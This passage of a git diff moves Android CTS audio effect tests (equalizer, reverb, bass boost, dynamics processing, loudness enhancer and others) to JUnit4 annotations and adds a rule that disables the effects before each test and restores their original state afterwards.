     public void test3_0SetParameterByteArrayByteArray() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -377,6 +398,7 @@
     }
 
     //Test case 3.1: test setParameter(int, int) / getParameter(int, int[])
+    @Test
     public void test3_1SetParameterIntInt() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -411,6 +433,7 @@
     }
 
     //Test case 3.2: test setParameter(int, short) / getParameter(int, short[])
+    @Test
     public void test3_2SetParameterIntShort() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -443,6 +466,7 @@
     }
 
     //Test case 3.3: test setParameter(int, byte[]) / getParameter(int, byte[])
+    @Test
     public void test3_3SetParameterIntByteArray() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -479,6 +503,7 @@
     }
 
     //Test case 3.4: test setParameter(int[], int[]) / getParameter(int[], int[])
+    @Test
     public void test3_4SetParameterIntArrayIntArray() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -516,6 +541,7 @@
 
     //Test case 3.5: test setParameter(int[], short[]) / getParameter(int[], short[])
 
+    @Test
     public void test3_5SetParameterIntArrayShortArray() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -550,6 +576,7 @@
     }
 
     //Test case 3.6: test setParameter(int[], byte[]) / getParameter(int[], byte[])
+    @Test
     public void test3_6SetParameterIntArrayByteArray() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -587,6 +614,7 @@
     }
 
     //Test case 3.7: test setParameter() throws exception after release()
+    @Test
     public void test3_7SetParameterAfterRelease() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -615,6 +643,7 @@
     }
 
     //Test case 3.8: test getParameter() throws exception after release()
+    @Test
     public void test3_8GetParameterAfterRelease() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -648,6 +677,7 @@
     //----------------------------------
 
     //Test case 4.0: test control passed to higher priority client
+    @Test
     public void test4_0setEnabledLowerPriority() throws Exception {
         AudioEffect effect1 = null;
         AudioEffect effect2 = null;
@@ -668,6 +698,7 @@
             assertFalse("Effect1 has control", effect1.hasControl());
             assertTrue("Effect1 can enable",
                     effect1.setEnabled(true) == AudioEffect.ERROR_INVALID_OPERATION);
+            // Note: all effects under test are disabled at setup
             assertFalse("Effect1 has enabled", effect2.getEnabled());
 
         } catch (IllegalArgumentException e) {
@@ -685,6 +716,7 @@
     }
 
     //Test case 4.1: test control passed to higher priority client
+    @Test
     public void test4_1setParameterLowerPriority() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -737,6 +769,7 @@
     }
 
     //Test case 4.2: test control status listener
+    @Test
     public void test4_2ControlStatusListener() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -762,6 +795,7 @@
     }
 
     //Test case 4.3: test enable status listener
+    @Test
     public void test4_3EnableStatusListener() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -791,6 +825,7 @@
     }
 
     //Test case 4.4: test parameter changed listener
+    @Test
     public void test4_4ParameterChangedListener() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -827,6 +862,7 @@
 
 
     //Test case 5.0: test command method
+    @Test
     public void test5_0Command() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java
index 2c9bd9c..0c5e089 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioPlaybackConfigurationTest.java
@@ -132,8 +132,9 @@
     private static final int TEST_CONTENT = AudioAttributes.CONTENT_TYPE_UNKNOWN;
     private static final int TEST_STREAM_FOR_USAGE = STREAM_NOTIFICATION;
 
-    // test marshalling/unmarshalling of an AudioPlaybackConfiguration instance. Since we can't
-    // create an AudioPlaybackConfiguration directly, we first need to play something to get one.
+    // test writing to/ reading from a Parcel for an AudioPlaybackConfiguration instance.
+    // Since we can't create an AudioPlaybackConfiguration directly, we first need to
+    // play something to get one.
     public void testParcelableWriteToParcel() throws Exception {
         if (!isValidPlatform("testParcelableWriteToParcel")) return;
         if (hasAudioSilentProperty()) {
@@ -156,30 +157,28 @@
         List<AudioPlaybackConfiguration> configs = am.getActivePlaybackConfigurations();
         mMp.stop();
         assertTrue("No playback reported", configs.size() > 0);
-        AudioPlaybackConfiguration configToMarshall = null;
+        AudioPlaybackConfiguration configToParcel = null;
         for (AudioPlaybackConfiguration config : configs) {
             if (config.getAudioAttributes().equals(aa)) {
-                configToMarshall = config;
+                configToParcel = config;
                 break;
             }
         }
 
-        assertNotNull("Configuration not found during playback", configToMarshall);
-        assertEquals(0, configToMarshall.describeContents());
+        assertNotNull("Configuration not found during playback", configToParcel);
+        assertEquals(0, configToParcel.describeContents());
 
         final Parcel srcParcel = Parcel.obtain();
         final Parcel dstParcel = Parcel.obtain();
-        final byte[] mbytes;
 
-        configToMarshall.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
-        mbytes = srcParcel.marshall();
-        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        configToParcel.writeToParcel(srcParcel, 0 /*no public flags for parcelling operations*/);
+        dstParcel.appendFrom(srcParcel, 0 /*offset*/, srcParcel.dataSize() /*size*/);
         dstParcel.setDataPosition(0);
         final AudioPlaybackConfiguration restoredConfig =
                 AudioPlaybackConfiguration.CREATOR.createFromParcel(dstParcel);
 
         assertEquals("Marshalled/restored AudioAttributes don't match",
-                configToMarshall.getAudioAttributes(), restoredConfig.getAudioAttributes());
+                configToParcel.getAudioAttributes(), restoredConfig.getAudioAttributes());
     }
 
     public void testGetterMediaPlayer() throws Exception {
@@ -683,6 +682,12 @@
         AudioManager am = new AudioManager(getContext());
         assertNotNull("Could not create AudioManager", am);
 
+        boolean isMuted = am.isStreamMute(TEST_STREAM_FOR_USAGE);
+        if (isMuted) {
+            am.adjustStreamVolume(TEST_STREAM_FOR_USAGE, ADJUST_UNMUTE, 0);
+        }
+        Thread.sleep(TEST_TIMING_TOLERANCE_MS + PLAY_ROUTING_TIMING_TOLERANCE_MS);
+
         MyAudioPlaybackCallback callback = new MyAudioPlaybackCallback();
 
         try {
@@ -727,6 +732,10 @@
         } finally {
             am.unregisterAudioPlaybackCallback(callback);
             unmute.run();
+
+            if (isMuted) {
+                am.adjustStreamVolume(TEST_STREAM_FOR_USAGE, ADJUST_MUTE, 0);
+            }
         }
     }
 
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java b/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java
index 64a4022..c06aac8 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/BassBoostTest.java
@@ -16,15 +16,26 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.BassBoost;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @NonMainlineTest
+@RunWith(AndroidJUnit4.class)
 public class BassBoostTest extends PostProcTestBase {
 
     private String TAG = "BassBoostTest";
@@ -46,6 +57,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -76,6 +88,7 @@
     //----------------------------------
 
     //Test case 1.0: test strength
+    @Test
     public void test1_0Strength() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -108,6 +121,7 @@
     }
 
     //Test case 1.1: test properties
+    @Test
     public void test1_1Properties() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -145,6 +159,7 @@
     }
 
     //Test case 1.2: test setStrength() throws exception after release
+    @Test
     public void test1_2SetStrengthAfterRelease() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -166,6 +181,7 @@
     //----------------------------------
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -185,6 +201,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -206,6 +223,7 @@
     //----------------------------------
 
     //Test case 3.0: test control status listener
+    @Test
     public void test3_0ControlStatusListener() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -231,6 +249,7 @@
     }
 
     //Test case 3.1: test enable status listener
+    @Test
     public void test3_1EnableStatusListener() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
@@ -258,6 +277,7 @@
     }
 
     //Test case 3.2: test parameter changed listener
+    @Test
     public void test3_2ParameterChangedListener() throws Exception {
         if (!isBassBoostAvailable()) {
             return;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java
index 2abb715..7a36bf6 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/DynamicsProcessingTest.java
@@ -16,6 +16,10 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
 import android.media.AudioManager;
 import android.media.audiofx.DynamicsProcessing;
@@ -27,10 +31,15 @@
 import android.media.audiofx.DynamicsProcessing.Limiter;
 import android.media.audiofx.DynamicsProcessing.Mbc;
 import android.media.audiofx.DynamicsProcessing.MbcBand;
-import android.media.cts.PostProcTestBase;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
 public class DynamicsProcessingTest extends PostProcTestBase {
 
     private static final String TAG = "DynamicsProcessingTest";
@@ -66,6 +75,7 @@
 
     // Test case 0.0: test constructor and release
     @AppModeFull(reason = "Fails for instant but not enough to block the release")
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -84,6 +94,7 @@
         }
     }
 
+    @Test
     public void test0_1ConstructorWithConfigAndRelease() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -99,6 +110,7 @@
     // 1 - create with parameters
     // ----------------------------------
 
+    @Test
     public void test1_0ParametersEngine() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -126,6 +138,7 @@
         }
     }
 
+    @Test
     public void test1_1ParametersChannel() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -146,6 +159,7 @@
         }
     }
 
+    @Test
     public void test1_2ParametersPreEq() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -166,6 +180,7 @@
         }
     }
 
+    @Test
     public void test1_3ParametersMbc() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -185,6 +200,7 @@
         }
     }
 
+    @Test
     public void test1_4ParametersPostEq() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -204,6 +220,7 @@
         }
     }
 
+    @Test
     public void test1_5ParametersLimiter() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -221,6 +238,7 @@
         }
     }
 
+    @Test
     public void test1_6Channel_perStage() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -318,6 +336,7 @@
 
     }
 
+    @Test
     public void test1_7Channel_perBand() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -386,6 +405,7 @@
         }
     }
 
+    @Test
     public void test1_8Channel_setAllChannelsTo() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -442,6 +462,7 @@
         }
     }
 
+    @Test
     public void test1_9Channel_setChannelTo() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -515,6 +536,7 @@
     // 2 - config builder tests
     // ----------------------------------
 
+    @Test
     public void test2_0ConfigBasic() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -538,9 +560,10 @@
         assertEquals("isLimiterInUse is different", DEFAULT_LIMITER_IN_USE,
                 config.isLimiterInUse());
         assertEquals("getPreferredFrameDuration is different", DEFAULT_FRAME_DURATION,
-                config.getPreferredFrameDuration());
+                config.getPreferredFrameDuration(), EPSILON);
     }
 
+    @Test
     public void test2_1ConfigChannel() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -630,6 +653,7 @@
         }
     }
 
+    @Test
     public void test2_2ConfigChannel_perStage() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -719,6 +743,7 @@
         }
     }
 
+    @Test
     public void test2_3ConfigChannel_perBand() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -775,6 +800,7 @@
         }
     }
 
+    @Test
     public void test2_4Channel_perStage() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -838,6 +864,7 @@
 
     }
 
+    @Test
     public void test2_5Channel_perBand() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -881,6 +908,7 @@
                 TEST_GAIN2, channel.getPostEqBand(TEST_BAND_INDEX).getGain(), EPSILON);
     }
 
+    @Test
     public void test2_6Eq() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -930,6 +958,7 @@
         }
     }
 
+    @Test
     public void test2_7Mbc() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1028,6 +1057,7 @@
         }
     }
 
+    @Test
     public void test2_8Limiter() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1091,6 +1121,7 @@
                 newPostGain, limiter.getPostGain(), EPSILON);
     }
 
+    @Test
     public void test2_9BandStage() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1110,6 +1141,7 @@
         assertEquals("bandStage enabled is different", !enabled, bandStage.isEnabled());
     }
 
+    @Test
     public void test2_10Stage() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1128,6 +1160,7 @@
         assertEquals("stage enabled is different", !enabled, stage.isEnabled());
     }
 
+    @Test
     public void test2_11BandBase() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1151,6 +1184,7 @@
                 newFrequency, bandBase.getCutoffFrequency(), EPSILON);
     }
 
+    @Test
     public void test2_12Channel() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1187,6 +1221,7 @@
     // 3 - Builder
     // ----------------------------------
 
+    @Test
     public void test3_0Builder_stagesAllChannels() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1240,6 +1275,7 @@
         }
     }
 
+    @Test
     public void test3_1Builder_stagesByChannelIndex() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1310,6 +1346,7 @@
         }
     }
 
+    @Test
     public void test3_2Builder_setAllChannelsTo() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -1366,6 +1403,7 @@
         }
     }
 
+    @Test
     public void test3_3Builder_setChannelTo() throws Exception {
         if (!hasAudioOutput()) {
             return;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/EffectBeforeAfterRule.java b/tests/tests/media/audio/src/android/media/audio/cts/EffectBeforeAfterRule.java
new file mode 100644
index 0000000..093a019
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/EffectBeforeAfterRule.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+
+import android.media.audiofx.AudioEffect;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.ExternalResource;
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+
+/**
+ * Simple before and after rule for audio effect tests
+ */
+final class EffectBeforeAfterRule extends ExternalResource {
+    private static final String TAG = EffectBeforeAfterRule.class.getSimpleName();
+
+    private static final int CONTROL_PRIORITY = 100;
+
+    private Map<UUID, Boolean> mOriginalEffectState = new HashMap<>();
+
+    /**
+     * All potential effects under test are disabled at setup.
+     * Initial state is backuped, restored in tearDown
+     * @throws Exception
+     */
+    @Override
+    protected void before() {
+
+        final UUID[] effectTypes = {
+                AudioEffect.EFFECT_TYPE_BASS_BOOST,
+                AudioEffect.EFFECT_TYPE_EQUALIZER,
+                AudioEffect.EFFECT_TYPE_VIRTUALIZER,
+                AudioEffect.EFFECT_TYPE_PRESET_REVERB,
+                AudioEffect.EFFECT_TYPE_ENV_REVERB,
+        };
+        for (UUID effectType : effectTypes) {
+            try {
+                if (AudioEffect.isEffectTypeAvailable(effectType)) {
+                    AudioEffect effect = new AudioEffect(effectType,
+                            AudioEffect.EFFECT_TYPE_NULL,
+                            CONTROL_PRIORITY,
+                            0);
+                    assertTrue("effect does not have control", effect.hasControl());
+                    mOriginalEffectState.put(effectType, effect.getEnabled());
+
+                    effect.setEnabled(false);
+                    assertFalse("Could not disable effect", effect.getEnabled());
+                    effect.release();
+                }
+            } catch (IllegalStateException e) {
+            } catch (IllegalArgumentException e) {
+            } catch (UnsupportedOperationException e) {
+            } catch (RuntimeException e) {
+                assumeFalse("skipping for instant",
+                        InstrumentationRegistry.getInstrumentation()
+                                        .getContext().getPackageManager().isInstantApp());
+            }
+        }
+    }
+
+    @Override
+    protected void after() {
+        for (Map.Entry<UUID, Boolean> entry : mOriginalEffectState.entrySet()) {
+            try {
+                AudioEffect effect = new AudioEffect(entry.getKey(),
+                        AudioEffect.EFFECT_TYPE_NULL,
+                        CONTROL_PRIORITY,
+                        0);
+                assertTrue("effect does not have control", effect.hasControl());
+                effect.setEnabled(entry.getValue());
+                effect.release();
+            } catch (IllegalStateException e) {
+            } catch (IllegalArgumentException e) {
+            } catch (UnsupportedOperationException e) {
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java b/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java
index 506468a..12decb0 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java
@@ -16,17 +16,28 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.EnvironmentalReverb;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @NonMainlineTest
 @AppModeFull(reason = "Fails in instant mode")
+@RunWith(AndroidJUnit4.class)
 public class EnvReverbTest extends PostProcTestBase {
 
     private String TAG = "EnvReverbTest";
@@ -39,6 +50,7 @@
     private EnvironmentalReverb mReverb2 = null;
     private ListenerThread mEffectListenerLooper = null;
 
+
     //-----------------------------------------------------------------
     // ENVIRONMENTAL REVERB TESTS:
     //----------------------------------
@@ -48,6 +60,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -77,6 +90,7 @@
     //----------------------------------
 
     //Test case 1.0: test room level and room HF level
+    @Test
     public void test1_0Room() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -111,6 +125,7 @@
     }
 
     //Test case 1.1: test decay time and ratio
+    @Test
     public void test1_1Decay() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -145,6 +160,7 @@
 
 
     //Test case 1.2: test reverb level and delay
+    @Test
     public void test1_2Reverb() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -181,6 +197,7 @@
     }
 
     //Test case 1.3: test early reflections level and delay
+    @Test
     public void test1_3Reflections() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -222,6 +239,7 @@
     }
 
     //Test case 1.4: test diffusion and density
+    @Test
     public void test1_4DiffusionAndDensity() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -256,6 +274,7 @@
     }
 
     //Test case 1.5: test properties
+    @Test
     public void test1_5Properties() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -288,6 +307,7 @@
     //----------------------------------
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -306,6 +326,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -327,6 +348,7 @@
     //----------------------------------
 
     //Test case 3.0: test control status listener
+    @Test
     public void test3_0ControlStatusListener() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -352,6 +374,7 @@
     }
 
     //Test case 3.1: test enable status listener
+    @Test
     public void test3_1EnableStatusListener() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
@@ -379,6 +402,7 @@
     }
 
     //Test case 3.2: test parameter changed listener
+    @Test
     public void test3_2ParameterChangedListener() throws Exception {
         if (!isEnvReverbAvailable()) {
             return;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java
index b806d2c..b139eab 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java
@@ -16,15 +16,26 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.Equalizer;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @NonMainlineTest
+@RunWith(AndroidJUnit4.class)
 public class EqualizerTest extends PostProcTestBase {
 
     private String TAG = "EqualizerTest";
@@ -49,6 +60,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         Equalizer eq = null;
         try {
@@ -75,6 +87,7 @@
     //----------------------------------
 
     //Test case 1.0: test setBandLevel() and getBandLevel()
+    @Test
     public void test1_0BandLevel() throws Exception {
         getEqualizer(getSessionId());
         try {
@@ -104,6 +117,7 @@
     }
 
     //Test case 1.1: test band frequency
+    @Test
     public void test1_1BandFrequency() throws Exception {
         getEqualizer(getSessionId());
         try {
@@ -129,6 +143,7 @@
     }
 
     //Test case 1.2: test presets
+    @Test
     public void test1_2Presets() throws Exception {
         getEqualizer(getSessionId());
         try {
@@ -154,6 +169,7 @@
     }
 
     //Test case 1.3: test properties
+    @Test
     public void test1_3Properties() throws Exception {
         getEqualizer(getSessionId());
         try {
@@ -185,6 +201,7 @@
     }
 
     //Test case 1.4: test setBandLevel() throws exception after release
+    @Test
     public void test1_4SetBandLevelAfterRelease() throws Exception {
         getEqualizer(getSessionId());
         mEqualizer.release();
@@ -202,6 +219,7 @@
     //----------------------------------
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         getEqualizer(getSessionId());
         try {
@@ -218,6 +236,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         getEqualizer(getSessionId());
         mEqualizer.release();
@@ -235,6 +254,7 @@
     //----------------------------------
 
     //Test case 3.0: test control status listener
+    @Test
     public void test3_0ControlStatusListener() throws Exception {
         synchronized(mLock) {
             mHasControl = true;
@@ -257,6 +277,7 @@
     }
 
     //Test case 3.1: test enable status listener
+    @Test
     public void test3_1EnableStatusListener() throws Exception {
         synchronized(mLock) {
             mInitialized = false;
@@ -281,6 +302,7 @@
     }
 
     //Test case 3.2: test parameter changed listener
+    @Test
     public void test3_2ParameterChangedListener() throws Exception {
         synchronized(mLock) {
             mInitialized = false;
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java b/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java
index 97ebc94..454eee2 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/HapticGeneratorTest.java
@@ -16,12 +16,21 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.media.audiofx.HapticGenerator;
-import android.media.cts.PostProcTestBase;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @NonMainlineTest
+@RunWith(AndroidJUnit4.class)
 public class HapticGeneratorTest extends PostProcTestBase {
 
     private String TAG = "HapticGeneratorTest";
@@ -35,6 +44,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!HapticGenerator.isAvailable()) {
             // HapticGenerator will only be created on devices supporting haptic playback
@@ -46,6 +56,7 @@
     }
 
     // Test case 0.1: test constructor and close
+    @Test
     public void test0_1ConstructorAndClose() throws Exception {
         if (!HapticGenerator.isAvailable()) {
             // HapticGenerator will only be created on devices supporting haptic playback
@@ -61,6 +72,7 @@
     //----------------------------------
 
     //Test case 1.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test1_0SetEnabledGetEnabled() throws Exception {
         if (!HapticGenerator.isAvailable()) {
             // HapticGenerator will only be created on devices supporting haptic playback
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java
index 1edbafd..af8a512 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/LoudnessEnhancerTest.java
@@ -16,6 +16,12 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.media.AudioManager;
 import android.media.MediaPlayer;
@@ -23,18 +29,25 @@
 import android.media.audiofx.LoudnessEnhancer;
 import android.media.audiofx.Visualizer;
 import android.media.audiofx.Visualizer.MeasurementPeakRms;
-import android.media.cts.PostProcTestBase;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.UUID;
 
 @AppModeFull(reason = "Dynamic config disabled.")
+@RunWith(AndroidJUnit4.class)
 public class LoudnessEnhancerTest extends PostProcTestBase {
 
     private String TAG = "LoudnessEnhancerTest";
     private LoudnessEnhancer mLE;
 
+    private static final float EPSILON = 0.0001f;
+
     //-----------------------------------------------------------------
     // LOUDNESS ENHANCER TESTS:
     //----------------------------------
@@ -44,6 +57,7 @@
     //----------------------------------
 
     //Test case 0.0: test constructor and release
+    @Test
     public void test0_0ConstructorAndRelease() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -64,6 +78,7 @@
     //----------------------------------
 
     //Test case 1.0: test set/get target gain
+    @Test
     public void test1_0TargetGain() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -71,9 +86,11 @@
         getLoudnessEnhancer(0);
         try {
             mLE.setTargetGain(0);
-            assertEquals("target gain differs from value set", 0.0f, mLE.getTargetGain());
+            assertEquals("target gain differs from value set",
+                    0.0f, mLE.getTargetGain(), EPSILON);
             mLE.setTargetGain(800);
-            assertEquals("target gain differs from value set", 800.0f, mLE.getTargetGain());
+            assertEquals("target gain differs from value set",
+                    800.0f, mLE.getTargetGain(), EPSILON);
         } catch (IllegalArgumentException e) {
             fail("target gain illegal argument");
         } catch (UnsupportedOperationException e) {
@@ -90,6 +107,7 @@
     //----------------------------------
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         if (!hasAudioOutput()) {
             return;
@@ -109,6 +127,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         if (!hasAudioOutput()) {
